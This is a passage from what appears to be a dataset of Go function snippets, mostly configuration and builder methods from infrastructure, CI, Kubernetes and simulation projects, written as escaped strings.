akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToAddressTranslators = sim.NewLimitNumMsgPort(cp, 1,\n\t\tname+\".ToAddressTranslators\")\n\tcp.toAddressTranslatorsSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToCaches = sim.NewLimitNumMsgPort(cp, 1, name+\".ToCaches\")\n\tcp.toCachesSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\n\tcp.bottomKernelLaunchReqIDToTopReqMap =\n\t\tmake(map[string]*protocol.LaunchKernelReq)\n\tcp.bottomMemCopyH2DReqIDToTopReqMap =\n\t\tmake(map[string]*protocol.MemCopyH2DReq)\n\tcp.bottomMemCopyD2HReqIDToTopReqMap =\n\t\tmake(map[string]*protocol.MemCopyD2HReq)\n\n\tb.buildDispatchers(cp)\n\n\tif b.visTracer != nil {\n\t\ttracing.CollectTrace(cp, b.visTracer)\n\t}\n\n\treturn cp\n}", "func (c *SplitterConfig) Build(flushAtEOF bool, maxLogSize int) (*Splitter, error) {\n\tenc, err := c.EncodingConfig.Build()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tflusher := c.Flusher.Build()\n\tsplitFunc, err := c.Multiline.Build(enc.Encoding, flushAtEOF, c.PreserveLeadingWhitespaces, c.PreserveTrailingWhitespaces, flusher, maxLogSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Splitter{\n\t\tEncoding: enc,\n\t\tFlusher: flusher,\n\t\tSplitFunc: splitFunc,\n\t}, nil\n}", "func Build(ns string, app *parser.Appfile) (*v1alpha2.ApplicationConfiguration, []*v1alpha2.Component, error) {\n\tb := &builder{app}\n\treturn b.CompleteWithContext(ns)\n}", "func (b *Builder) Build() Interface {\n\tswitch {\n\tcase b.path != \"\":\n\t\tfSys := fs.NewDocumentFs()\n\t\treturn NewKubeConfig(FromFile(b.path, fSys), InjectFilePath(b.path, fSys), InjectTempRoot(b.root))\n\tcase b.fromParent():\n\t\t// TODO add method that would get kubeconfig from parent cluster and glue it together\n\t\t// with parent kubeconfig if needed\n\t\treturn NewKubeConfig(func() ([]byte, error) {\n\t\t\treturn nil, errors.ErrNotImplemented{}\n\t\t})\n\tcase b.bundlePath != \"\":\n\t\treturn NewKubeConfig(FromBundle(b.bundlePath), InjectTempRoot(b.root))\n\tdefault:\n\t\tfSys := fs.NewDocumentFs()\n\t\t// return default path to kubeconfig file in airship workdir\n\t\tpath := filepath.Join(util.UserHomeDir(), config.AirshipConfigDir, KubeconfigDefaultFileName)\n\t\treturn NewKubeConfig(FromFile(path, fSys), InjectFilePath(path, fSys), InjectTempRoot(b.root))\n\t}\n}", "func (c *Compiler) Compile(conf *yaml.Config) *backend.Config {\n\tconfig := new(backend.Config)\n\n\t// create a default volume\n\tconfig.Volumes = append(config.Volumes, &backend.Volume{\n\t\tName: fmt.Sprintf(\"%s_default\", c.prefix),\n\t\tDriver: \"local\",\n\t})\n\n\t// create a default network\n\tconfig.Networks = append(config.Networks, &backend.Network{\n\t\tName: fmt.Sprintf(\"%s_default\", c.prefix),\n\t\tDriver: \"bridge\",\n\t})\n\n\t// overrides the default workspace paths when specified\n\t// in the YAML file.\n\tif len(conf.Workspace.Base) != 0 {\n\t\tc.base = conf.Workspace.Base\n\t}\n\tif len(conf.Workspace.Path) != 0 {\n\t\tc.path = conf.Workspace.Path\n\t}\n\n\t// add default clone step\n\tif c.local == false && len(conf.Clone.Containers) == 0 {\n\t\tcontainer := &yaml.Container{\n\t\t\tName: \"clone\",\n\t\t\tImage: \"crun/git:latest\",\n\t\t\tVargs: map[string]interface{}{\"depth\": \"0\"},\n\t\t}\n\t\tswitch c.metadata.Sys.Arch {\n\t\tcase \"linux/arm\":\n\t\t\tcontainer.Image = \"crun/git:linux-arm\"\n\t\tcase \"linux/arm64\":\n\t\t\tcontainer.Image = \"crun/git:linux-arm64\"\n\t\t}\n\t\tname := fmt.Sprintf(\"%s_clone\", c.prefix)\n\t\tstep := c.createProcess(name, container, \"clone\")\n\n\t\tstage := new(backend.Stage)\n\t\tstage.Name = name\n\t\tstage.Alias = \"clone\"\n\t\tstage.Steps = append(stage.Steps, step)\n\n\t\tconfig.Stages = append(config.Stages, stage)\n\t} else if c.local == false {\n\t\tfor i, container := range conf.Clone.Containers {\n\t\t\tif !container.Constraints.Match(c.metadata) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tstage := new(backend.Stage)\n\t\t\tstage.Name = fmt.Sprintf(\"%s_clone_%v\", c.prefix, i)\n\t\t\tstage.Alias = container.Name\n\n\t\t\tname := fmt.Sprintf(\"%s_clone_%d\", c.prefix, i)\n\t\t\tstep := c.createProcess(name, container, \"clone\")\n\t\t\tstage.Steps = append(stage.Steps, step)\n\n\t\t\tconfig.Stages = append(config.Stages, stage)\n\t\t}\n\t}\n\n\t// c.setupCache2(conf, config)\n\tc.RestoreCache(conf, config)\n\n\t// add services steps\n\tif len(conf.Services.Containers) != 0 {\n\t\tstage := new(backend.Stage)\n\t\tstage.Name = fmt.Sprintf(\"%s_services\", c.prefix)\n\t\tstage.Alias = \"services\"\n\n\t\tfor i, container := range conf.Services.Containers {\n\t\t\tif !container.Constraints.Match(c.metadata) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tname := fmt.Sprintf(\"%s_services_%d\", c.prefix, i)\n\t\t\tstep := c.createProcess(name, container, \"services\")\n\t\t\tstage.Steps = append(stage.Steps, step)\n\n\t\t}\n\t\tconfig.Stages = append(config.Stages, stage)\n\t}\n\n\t// add pipeline steps. 1 pipeline step per stage, at the moment\n\tvar stage *backend.Stage\n\tvar group string\n\tfor i, container := range conf.Pipeline.Containers {\n\t\t//Skip if local and should not run local\n\t\tif c.local && !container.Constraints.Local.Bool() {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !container.Constraints.Match(c.metadata) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif stage == nil || group != container.Group || container.Group == \"\" {\n\t\t\tgroup = container.Group\n\n\t\t\tstage = new(backend.Stage)\n\t\t\tstage.Name = fmt.Sprintf(\"%s_stage_%v\", c.prefix, i)\n\t\t\tstage.Alias = container.Name\n\t\t\tconfig.Stages = append(config.Stages, stage)\n\t\t}\n\n\t\tname := fmt.Sprintf(\"%s_step_%d\", c.prefix, i)\n\t\tstep := c.createProcess(name, container, \"pipeline\")\n\t\tstage.Steps = append(stage.Steps, step)\n\t}\n\n\t// c.setupCacheRebuild2(conf, config)\n\tc.SaveCache(conf, config)\n\n\treturn config\n}", "func (c *configLoader) Build() (*koanf.Koanf, prometheus.MultiError) {\n\tvar warnings prometheus.MultiError\n\n\tconfig := make(map[string]interface{})\n\tpriorities := make(map[string]int)\n\n\tfor _, item := range c.items {\n\t\t_, configExists := config[item.Key]\n\t\tpreviousPriority := priorities[item.Key]\n\n\t\tswitch {\n\t\t// Higher priority items overwrite previous values.\n\t\tcase !configExists || previousPriority < item.Priority:\n\t\t\tconfig[item.Key] = item.Value\n\t\t\tpriorities[item.Key] = item.Priority\n\t\t// Same priority items are merged (slices are appended and maps are merged).\n\t\tcase previousPriority == item.Priority:\n\t\t\tvar err error\n\n\t\t\tconfig[item.Key], err = merge(config[item.Key], item.Value)\n\t\t\twarnings.Append(err)\n\t\t// Previous item has higher priority, nothing to do.\n\t\tcase previousPriority > item.Priority:\n\t\t}\n\t}\n\n\tk := koanf.New(delimiter)\n\terr := k.Load(confmap.Provider(config, delimiter), nil)\n\twarnings.Append(err)\n\n\treturn k, warnings\n}", "func (rb *PipelineConfigBuilder) Build() PipelineConfig {\n\treturn *rb.v\n}", "func buildConfig(opts []Option) config {\n\tc := config{\n\t\tclock: clock.New(),\n\t\tslack: 10,\n\t\tper: time.Second,\n\t}\n\n\tfor _, opt := range opts {\n\t\topt.apply(&c)\n\t}\n\treturn c\n}", "func (o Opearion) Build() string {\n\treturn o.Operation + \" \"\n}", "func BuildFromString(config string, logger core.Logger) (*Config, error) {\n\tc := NewConfig(logger)\n\tif err := gcfg.ReadStringInto(c, config); err != nil {\n\t\treturn nil, err\n\t}\n\treturn c, nil\n}", "func make() *Config {\n\t// instantiating configuration\n\tconf = &Config{}\n\n\t// filling the structure\n\terr := iterateTemplate(conf, false)\n\n\tcheckError(err)\n\n\t// parsing set flags\n\tflag.Parse()\n\n\tif conf.Basic.Debug {\n\t\tprintConfToLog(conf)\n\t}\n\n\treturn conf\n}", "func (sb *StreamBuilder) Build() (*Topology, []error) {\n\treturn sb.tp.Build()\n}", "func (o FunctionBuildConfigPtrOutput) Build() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *FunctionBuildConfig) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Build\n\t}).(pulumi.StringPtrOutput)\n}", "func makeIndexBuilder(c Configuration) IndexBuilder {\n\tif c.BuildIndexStrategy == \"Concurrent\" {\n\t\treturn BuildIndexConcurrent{}\n\t}\n\tif c.BuildIndexStrategy == \"Iterative\" {\n\t\treturn BuildIndexWithWalk{}\n\t}\n\tfmt.Println(os.Stderr, \"Invalid configuration value for GOCATE_BUILD_INDEX_STRATEGY. Please set it to Concurrent or Iterative. Choosing Default.\")\n\treturn BuildIndexConcurrent{}\n}", "func (n *ShiftNode) Build(s *pipeline.ShiftNode) (ast.Node, error) {\n\tn.Pipe(\"shift\", s.Shift)\n\treturn n.prev, n.err\n}", "func (b *DiffConfigBuilder) Build() (DiffConfig, error) {\n\terr := b.diffConfig.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.diffConfig, nil\n}", "func (c *LogAnalyticsInputConfig) Build(buildContext operator.BuildContext) ([]operator.Operator, error) {\n\tif err := c.AzureConfig.Build(buildContext, c.InputConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogAnalyticsInput := &LogAnalyticsInput{\n\t\tEventHub: azure.EventHub{\n\t\t\tAzureConfig: c.AzureConfig,\n\t\t\tPersist: &azure.Persister{\n\t\t\t\tDB: helper.NewScopedDBPersister(buildContext.Database, c.ID()),\n\t\t\t},\n\t\t},\n\t\tjson: jsoniter.ConfigFastest,\n\t}\n\treturn []operator.Operator{logAnalyticsInput}, nil\n}", "func (b *Builder) Build() (err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\t// This code allows us to propagate errors without adding lots of checks\n\t\t\t// for `if err != nil` throughout the construction code. This is only\n\t\t\t// possible because the code does not update shared state and does not\n\t\t\t// manipulate locks.\n\t\t\tif ok, e := errorutil.ShouldCatch(r); ok {\n\t\t\t\terr = e\n\t\t\t} else {\n\t\t\t\tpanic(r)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// TODO (rohany): We shouldn't be modifying the semaCtx passed to the builder\n\t// but we unfortunately rely on mutation to the semaCtx. We modify the input\n\t// semaCtx during building of opaque statements, and then expect that those\n\t// mutations are visible on the planner's semaCtx.\n\n\t// Hijack the input TypeResolver in the semaCtx to record all of the user\n\t// defined types that we resolve while building this query.\n\texistingResolver := b.semaCtx.TypeResolver\n\t// Ensure that the original TypeResolver is reset after.\n\tdefer func() { b.semaCtx.TypeResolver = existingResolver }()\n\ttypeTracker := &optTrackingTypeResolver{\n\t\tres: b.semaCtx.TypeResolver,\n\t\tmetadata: b.factory.Metadata(),\n\t}\n\tb.semaCtx.TypeResolver = typeTracker\n\n\t// Special case for CannedOptPlan.\n\tif canned, ok := b.stmt.(*tree.CannedOptPlan); ok {\n\t\tb.factory.DisableOptimizations()\n\t\t_, err := exprgen.Build(b.catalog, b.factory, canned.Plan)\n\t\treturn err\n\t}\n\n\t// Build the memo, and call SetRoot on the memo to indicate the root group\n\t// and physical properties.\n\toutScope := b.buildStmtAtRoot(b.stmt, nil /* desiredTypes */)\n\n\tphysical := outScope.makePhysicalProps()\n\tb.factory.Memo().SetRoot(outScope.expr, physical)\n\treturn nil\n}", "func NewOperator(config Config, deps Dependencies) (*Operator, error) {\n\to := &Operator{\n\t\tConfig: config,\n\t\tDependencies: deps,\n\t\tlog: deps.LogService.MustGetLogger(\"operator\"),\n\t\tdeployments: make(map[string]*deployment.Deployment),\n\t\tdeploymentReplications: make(map[string]*replication.DeploymentReplication),\n\t\tlocalStorages: make(map[string]*storage.LocalStorage),\n\t}\n\treturn o, nil\n}", "func (lb *LB) Build(conf config.Config) *LB {\n\tswitch conf.Balancing {\n\tcase \"ip-hash\":\n\t\tih, err := iphash.New(conf.Servers.GetAddress())\n\t\tif err != nil {\n\t\t\tglg.Fatalln(errors.Wrap(err, \"ip-hash algorithm\"))\n\t\t}\n\n\t\tlb.balancing = b.New(ih)\n\t\tlb.Handler = http.HandlerFunc(lb.ipHashBalancing)\n\tcase \"round-robin\":\n\t\trr, err := roundrobin.New(conf.Servers.GetAddress())\n\t\tif err != nil {\n\t\t\tglg.Fatalln(errors.Wrap(err, \"round-robin algorithm\"))\n\t\t}\n\n\t\tlb.balancing = b.New(rr)\n\t\tlb.Handler = http.HandlerFunc(lb.roundRobinBalancing)\n\tcase \"least-connections\":\n\t\tlc, err := leastconnections.New(conf.Servers.GetAddress())\n\t\tif err == nil {\n\t\t\tglg.Fatalln(errors.Wrap(err, \"least-connections algorithm\"))\n\t\t}\n\n\t\tlb.balancing = b.New(lc)\n\t\tlb.Handler = http.HandlerFunc(lb.ipHashBalancing)\n\tdefault:\n\t\tglg.Fatalln(errors.Wrap(ErrInvalidBalancingAlgorithm, conf.Balancing))\n\t}\n\n\treturn lb\n}", "func Build(kubeClient *client.Client) (*RouterConfig, error) {\n\t// Get all relevant information from k8s:\n\t// deis-router rc\n\t// All services with label \"routable=true\"\n\t// deis-builder service, if it exists\n\t// These are used to construct a model...\n\trouterRC, err := getRC(kubeClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tappServices, err := getAppServices(kubeClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// builderService might be nil if it's not found and that's ok.\n\tbuilderService, err := getBuilderService(kubeClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tplatformCertSecret, err := getSecret(kubeClient, \"deis-router-platform-cert\", namespace)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Build the model...\n\trouterConfig, err := build(kubeClient, routerRC, platformCertSecret, appServices, builderService)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn routerConfig, nil\n}", "func buildConfig(opts []Option) (*Config, error) {\n\tcfg := &Config{\n\t\tkeyPrefix: DefKeyPrefix,\n\t}\n\n\tfor _, opt := range opts {\n\t\tif err := opt(cfg); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn cfg, nil\n}", "func Build(builder *di.Builder, configuration *configuration.Configuration) {\n\terr := builder.Add(\n\t\tdi.Def{\n\t\t\tName: \"blackFridayPromotion\",\n\t\t\tScope: di.Request,\n\t\t\tBuild: func(ctn di.Container) (interface{}, error) {\n\t\t\t\tlogger := ctn.Get(\"logger\").(*zap.SugaredLogger)\n\t\t\t\tblackFridayPromotionLogger := logger.Named(\"BlackFridayPromotion\")\n\n\t\t\t\tblackFridayDate := configuration.BlackFridayDay\n\t\t\t\tgetGiftProductUseCase := ctn.Get(\"getGiftProductUseCase\").(*catalog.GetGiftProductUseCase)\n\t\t\t\treturn promotional.NewBlackFridayPromotion(blackFridayPromotionLogger, blackFridayDate, getGiftProductUseCase), nil\n\t\t\t},\n\t\t\tClose: nil,\n\t\t},\n\t\tdi.Def{\n\t\t\tName: \"promotionsApplierUseCase\",\n\t\t\tScope: di.Request,\n\t\t\tBuild: func(ctn di.Container) (interface{}, error) {\n\t\t\t\tlogger := ctn.Get(\"logger\").(*zap.SugaredLogger)\n\t\t\t\tpromotionsApplierUseCaseLogger := logger.Named(\"PromotionsApplierUseCase\")\n\n\t\t\t\tblackFridayPromotion := ctn.Get(\"blackFridayPromotion\").(*promotional.BlackFridayPromotion)\n\t\t\t\tactivePromotions := []promotion.Promotion{blackFridayPromotion}\n\t\t\t\treturn promotional.NewPromotionsApplierUseCase(promotionsApplierUseCaseLogger, activePromotions), nil\n\t\t\t},\n\t\t\tClose: nil,\n\t\t},\n\t\tdi.Def{\n\t\t\tName: \"makeCartUseCase\",\n\t\t\tScope: di.Request,\n\t\t\tBuild: func(ctn di.Container) (interface{}, error) {\n\t\t\t\tlogger := ctn.Get(\"logger\").(*zap.SugaredLogger)\n\t\t\t\tmakeCartUseCaseLogger := logger.Named(\"MakeCartUseCase\")\n\n\t\t\t\tpickProductsUseCase := ctn.Get(\"pickProductsUseCase\").(*catalog.PickProductsUseCase)\n\t\t\t\tpromotionsApplierUseCase := ctn.Get(\"promotionsApplierUseCase\").(*promotional.PromotionsApplierUseCase)\n\t\t\t\treturn application.NewMakeCartUseCase(makeCartUseCaseLogger, pickProductsUseCase, promotionsApplierUseCase), nil\n\t\t\t},\n\t\t\tClose: nil,\n\t\t})\n\n\tif err != nil {\n\t\terrorMessage := fmt.Sprintf(\"%v: %v\", errBuildCheckoutModule, err.Error())\n\t\tlog.Panic(errorMessage)\n\t}\n\n\tlog.Print(\"the checkout module was constructed\")\n}", "func Build(input []byte) ([]byte, error) {\n\tast, err := Parse(input)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\toutput, err := ast.String()\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\treturn []byte(output), nil\n}", "func Build(p *v1alpha1.Pipeline) (*DAG, error) {\n\td := new()\n\n\t// Add all Tasks mentioned in the `PipelineSpec`\n\tfor _, pt := range p.Spec.Tasks {\n\t\tif _, err := d.addPipelineTask(pt); err != nil {\n\t\t\treturn nil, errors.NewDuplicatePipelineTask(p, pt.Name)\n\t\t}\n\t}\n\t// Process all from constraints to add task dependency\n\tfor _, pt := range p.Spec.Tasks {\n\t\tif pt.Resources != nil {\n\t\t\tfor _, rd := range pt.Resources.Inputs {\n\t\t\t\tfor _, constraint := range rd.From {\n\t\t\t\t\t// We need to add dependency from constraint to node n\n\t\t\t\t\tprev, ok := d.Nodes[constraint]\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\treturn nil, errors.NewPipelineTaskNotFound(p, constraint)\n\t\t\t\t\t}\n\t\t\t\t\tnext, _ := d.Nodes[pt.Name]\n\t\t\t\t\tif err := d.addPrevPipelineTask(prev, next); err != nil {\n\t\t\t\t\t\treturn nil, errors.NewInvalidPipeline(p, err.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn d, nil\n}", "func BuildConfig(opt ClientOptions) (*rest.Config, error) {\n\tvar cfg *rest.Config\n\tvar err error\n\n\tmaster := opt.Master\n\tkubeconfig := opt.KubeConfig\n\tcfg, err = clientcmd.BuildConfigFromFlags(master, kubeconfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcfg.QPS = opt.QPS\n\tcfg.Burst = opt.Burst\n\n\treturn cfg, nil\n}", "func (co *serverConfig) Build() serverConfig {\n\n\treturn serverConfig{\n\t\tURL: co.URL,\n\t\tRetry: co.Retry,\n\t\tRetryWaitTime: co.RetryWaitTime,\n\t}\n}", "func New(cfg Config, k8ssvc k8s.Service, logger log.Logger) operator.Operator {\n\tlogger = logger.With(\"operator\", operatorName)\n\n\thandler := NewHandler(logger)\n\tcrd := NewMultiRoleBindingCRD(k8ssvc)\n\tctrl := controller.NewSequential(cfg.ResyncDuration, handler, crd, nil, logger)\n\treturn operator.NewOperator(crd, ctrl, logger)\n}", "func (cb *ConfigBuilder) Build() *gojmx.JMXConfig {\n\treturn cb.config\n}", "func (n *SideloadNode) Build(d *pipeline.SideloadNode) (ast.Node, error) {\n\tn.Pipe(\"sideload\")\n\n\tn.Dot(\"source\", d.Source)\n\torder := make([]interface{}, len(d.OrderList))\n\tfor i := range d.OrderList {\n\t\torder[i] = d.OrderList[i]\n\t}\n\tn.Dot(\"order\", order...)\n\n\tvar fieldKeys []string\n\tfor k := range d.Fields {\n\t\tfieldKeys = append(fieldKeys, k)\n\t}\n\tsort.Strings(fieldKeys)\n\tfor _, k := range fieldKeys {\n\t\tn.Dot(\"field\", k, d.Fields[k])\n\t}\n\n\tvar tagKeys []string\n\tfor k := range d.Tags {\n\t\ttagKeys = append(tagKeys, k)\n\t}\n\tsort.Strings(tagKeys)\n\tfor _, k := range tagKeys {\n\t\tn.Dot(\"tag\", k, d.Tags[k])\n\t}\n\treturn n.prev, n.err\n}", "func loadConfig(l log.Logger) *operator.Config {\n\tfs := flag.NewFlagSet(os.Args[0], flag.ExitOnError)\n\n\tvar (\n\t\tprintVersion bool\n\t)\n\n\tcfg, err := operator.NewConfig(fs)\n\tif err != nil {\n\t\tlevel.Error(l).Log(\"msg\", \"failed to parse flags\", \"err\", err)\n\t\tos.Exit(1)\n\t}\n\n\tfs.BoolVar(&printVersion, \"version\", false, \"Print this build's version information\")\n\n\tif err := fs.Parse(os.Args[1:]); err != nil {\n\t\tlevel.Error(l).Log(\"msg\", \"failed to parse flags\", \"err\", err)\n\t\tos.Exit(1)\n\t}\n\n\tif printVersion {\n\t\tfmt.Println(build.Print(\"agent-operator\"))\n\t\tos.Exit(0)\n\t}\n\n\treturn cfg\n}", "func buildConfig(opts []Option) config {\r\n\tc := config{\r\n\t\tclock: clock.New(),\r\n\t\tmaxSlack: 10,\r\n\t\tper: time.Second,\r\n\t}\r\n\tfor _, opt := range opts {\r\n\t\topt.apply(&c)\r\n\t}\r\n\treturn c\r\n}", "func (p *PublisherMunger) construct() error {\n\tkubernetesRemote := filepath.Join(p.k8sIOPath, \"kubernetes\", \".git\")\n\tfor _, repoRules := range p.reposRules {\n\t\t// clone the destination repo\n\t\tdstDir := filepath.Join(p.k8sIOPath, repoRules.dstRepo, \"\")\n\t\tdstURL := fmt.Sprintf(\"https://github.com/%s/%s.git\", p.githubConfig.Org, repoRules.dstRepo)\n\t\tif err := p.ensureCloned(dstDir, dstURL); err != nil {\n\t\t\tp.plog.Errorf(\"%v\", err)\n\t\t\treturn err\n\t\t}\n\t\tp.plog.Infof(\"Successfully ensured %s exists\", dstDir)\n\t\tif err := os.Chdir(dstDir); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// construct branches\n\t\tformatDeps := func(deps []coordinate) string {\n\t\t\tvar depStrings []string\n\t\t\tfor _, dep := range deps {\n\t\t\t\tdepStrings = append(depStrings, fmt.Sprintf(\"%s:%s\", dep.repo, dep.branch))\n\t\t\t}\n\t\t\treturn strings.Join(depStrings, \",\")\n\t\t}\n\n\t\tfor _, branchRule := range repoRules.srcToDst {\n\t\t\tcmd := exec.Command(repoRules.publishScript, branchRule.src.branch, branchRule.dst.branch, formatDeps(branchRule.deps), kubernetesRemote)\n\t\t\toutput, err := cmd.CombinedOutput()\n\t\t\tp.plog.Infof(\"%s\", output)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tp.plog.Infof(\"Successfully constructed %s\", branchRule.dst)\n\t\t}\n\t}\n\treturn nil\n}", "func (c *Chain) Build(r io.Reader) {\r\n\tbr := bufio.NewReader(r)\r\n\tp := make(Prefix, c.prefixLen)\r\n\tfor {\r\n\t\tvar word string\r\n\t\tif _, err := fmt.Fscan(br, &word); err != nil {\r\n\t\t\tbreak\r\n\t\t}\r\n\t\tkey := p.String()\r\n\t\tc.prefixChain[key] = append(c.prefixChain[key], word)\r\n\t\tprevWord := p.Shift(word)\r\n\t\tprevKey := p.String()\r\n\t\tc.suffixChain[prevKey] = append(c.suffixChain[prevKey], prevWord)\r\n\t}\r\n}", "func (c *Config) Build() {\n\tc.Interval = viper.GetDuration(configInterval)\n\tc.MaxKeepedImageFiles = viper.GetInt(configMaxKeepedImageFiles)\n\tc.CameraURL = viper.GetString(configCameraURL)\n\tc.ImagePath = viper.GetString(configImagePath)\n\tc.AlertImagePath = viper.GetString(configAlertImagePath)\n\tc.Treshold = viper.GetInt(configTreshold)\n\tc.AlertHandlers = viper.GetStringSlice(configAlertHandlers)\n\tc.HTTPEnabled = viper.GetBool(configHTTPEnabled)\n\tc.HTTPAddr = viper.GetString(configHTTPAddr)\n\tc.MetricsEnabled = viper.GetBool(configMetricsEnabled)\n\tc.MetricsAddr = viper.GetString(configMetricsAddr)\n\n\tif viper.GetBool(configVerbose) {\n\t\tc.LogLevel = log.DebugLevel\n\t} else {\n\t\tc.LogLevel = log.InfoLevel\n\t}\n}", "func (m builder) build() (oci.SpecModifier, error) {\n\tif len(m.devices) == 0 && m.cdiSpec == nil {\n\t\treturn nil, nil\n\t}\n\n\tif m.cdiSpec != nil {\n\t\tmodifier := fromCDISpec{\n\t\t\tcdiSpec: &cdi.Spec{Spec: m.cdiSpec},\n\t\t}\n\t\treturn modifier, nil\n\t}\n\n\tregistry, err := cdi.NewCache(\n\t\tcdi.WithAutoRefresh(false),\n\t\tcdi.WithSpecDirs(m.specDirs...),\n\t)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create CDI registry: %v\", err)\n\t}\n\n\tmodifier := fromRegistry{\n\t\tlogger: m.logger,\n\t\tregistry: registry,\n\t\tdevices: m.devices,\n\t}\n\n\treturn modifier, nil\n}", "func (c *Config) Build() *ConfProxy {\n\tif c.Enable {\n\t\tswitch c.Etcd.Enable {\n\t\tcase true:\n\t\t\txlog.Info(\"plugin\", xlog.String(\"appConf.etcd\", \"start\"))\n\t\t\treturn NewConfProxy(c.Enable, etcd.NewETCDDataSource(c.Prefix))\n\t\tdefault:\n\t\t\txlog.Info(\"plugin\", xlog.String(\"appConf.mysql\", \"start\"))\n\t\t}\n\t\t// todo mysql implement\n\t}\n\treturn nil\n}", "func (pb PlannerBuilder) Build() Planner {\n\treturn &planner{\n\t\tlp: NewLogicalPlanner(pb.lopts...),\n\t\tpp: NewPhysicalPlanner(pb.popts...),\n\t}\n}", "func (fb *FlowBuilder) Build(ID string) flow.Operation {\n\tif fb.Err != nil {\n\t\top := fb.flow.ErrOp(fb.Err)\n\t\treturn op\n\t}\n\tf := fb.flow\n\tr := fb.registry\n\tdoc := fb.Doc\n\n\tif _, ok := fb.nodeTrack[ID]; ok {\n\t\tfb.Err = ErrLoop //fmt.Errorf(\"[%v] Looping through nodes is disabled:\", ID)\n\t\top := fb.flow.ErrOp(fb.Err)\n\t\treturn op\n\t}\n\t// loop detector\n\tfb.nodeTrack[ID] = true\n\tdefer delete(fb.nodeTrack, ID)\n\n\t// If flow already has ID just return\n\tif op, ok := fb.OperationMap[ID]; ok {\n\t\treturn op\n\t}\n\n\tnode := fb.Doc.FetchNodeByID(ID)\n\tif node == nil {\n\t\top := fb.flow.ErrOp(fmt.Errorf(\"node not found [%v]\", ID))\n\t\treturn op\n\t}\n\n\tvar op flow.Operation\n\tvar inputs []reflect.Type\n\n\tswitch node.Src {\n\tcase \"Portal From\":\n\t\tnID := node.Prop[\"portal from\"]\n\t\tn := doc.FetchNodeByID(nID)\n\t\tif n == nil {\n\t\t\treturn f.ErrOp(fmt.Errorf(\"Invalid portal, id: %v\", nID))\n\t\t}\n\t\t// Fetch existing or build new\n\t\top = fb.Build(nID)\n\t\tfb.OperationMap[node.ID] = op\n\t\treturn op\n\tcase \"Input\":\n\t\tinputID, err := strconv.Atoi(node.Prop[\"input\"])\n\t\tif err != nil {\n\t\t\top := f.ErrOp(errors.New(\"Invalid inputID value, must be a number\"))\n\t\t\tfb.OperationMap[node.ID] = op\n\t\t\treturn op\n\t\t}\n\t\top := f.In(inputID) // By id perhaps\n\t\tfb.OperationMap[node.ID] = op\n\t\treturn op\n\tcase \"Var\":\n\t\tlog.Println(\"Source is a variable\")\n\t\tvar t interface{}\n\t\tinputs = []reflect.Type{reflect.TypeOf(t)}\n\tcase \"SetVar\":\n\t\tlog.Println(\"Source is a setvariable\")\n\t\tvar t interface{}\n\t\tinputs = []reflect.Type{reflect.TypeOf(t)}\n\tdefault:\n\t\tlog.Println(\"Loading entry:\", node.Src)\n\t\tentry, err := r.Entry(node.Src)\n\t\tif err != nil {\n\t\t\top = f.ErrOp(err)\n\t\t\tfb.OperationMap[node.ID] = op\n\t\t\treturn op\n\t\t}\n\t\tinputs = entry.Inputs\n\n\t}\n\n\t//// Build inputs ////\n\tparam := make([]flow.Data, len(inputs))\n\tfor i := range param {\n\t\tl := doc.FetchLinkTo(node.ID, i)\n\t\tif l == nil { // No link we fetch the value inserted\n\t\t\t// Direct input entries\n\t\t\tv, err := parseValue(inputs[i], node.DefaultInputs[i])\n\t\t\tif err != nil {\n\t\t\t\tparam[i] = f.ErrOp(err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tparam[i] = v\n\t\t\tcontinue\n\t\t}\n\t\tparam[i] = fb.Build(l.From)\n\t}\n\n\t//Switch again\n\tswitch node.Src {\n\tcase \"Var\":\n\t\top = f.Var(node.Prop[\"variable name\"], param[0])\n\tcase \"SetVar\":\n\t\top = f.SetVar(node.Prop[\"variable name\"], param[0])\n\tdefault:\n\t\top = f.Op(node.Src, param...)\n\t}\n\n\tfb.OperationMap[node.ID] = op\n\tfb.buildTriggersFor(node, op)\n\n\treturn op\n}", "func Build(o parser.Object) Query {\n\troot := Query{IsTop: true}\n\tq := &root\n\tt := o.Type\n\tindex := 0\n\n\tfor {\n\t\tq.Index = index\n\t\tq.Type = t.RawTypeName()\n\n\t\tswitch kind := t.(type) {\n\t\tcase ast.BuiltIn:\n\t\t\tq.IsBuiltin = true\n\t\t\tt = nil\n\t\tcase ast.Array:\n\t\t\tq.IsArray = true\n\t\t\tt = kind.Element\n\t\tcase ast.Map:\n\t\t\tq.IsMap = true\n\t\t\tq.KeyType = kind.Key.RawTypeName()\n\t\t\tt = kind.Value\n\t\tcase 